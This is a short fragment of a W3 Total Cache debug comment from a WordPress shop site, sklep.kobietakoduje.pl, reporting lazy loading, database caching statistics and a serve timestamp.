Lazy Loading (feed)
Database Caching 34/154 queries in 0.106 seconds using Disk

Served from: sklep.kobietakoduje.pl @ 2026-10-04 15:35:14 by W3 Total Cache
-->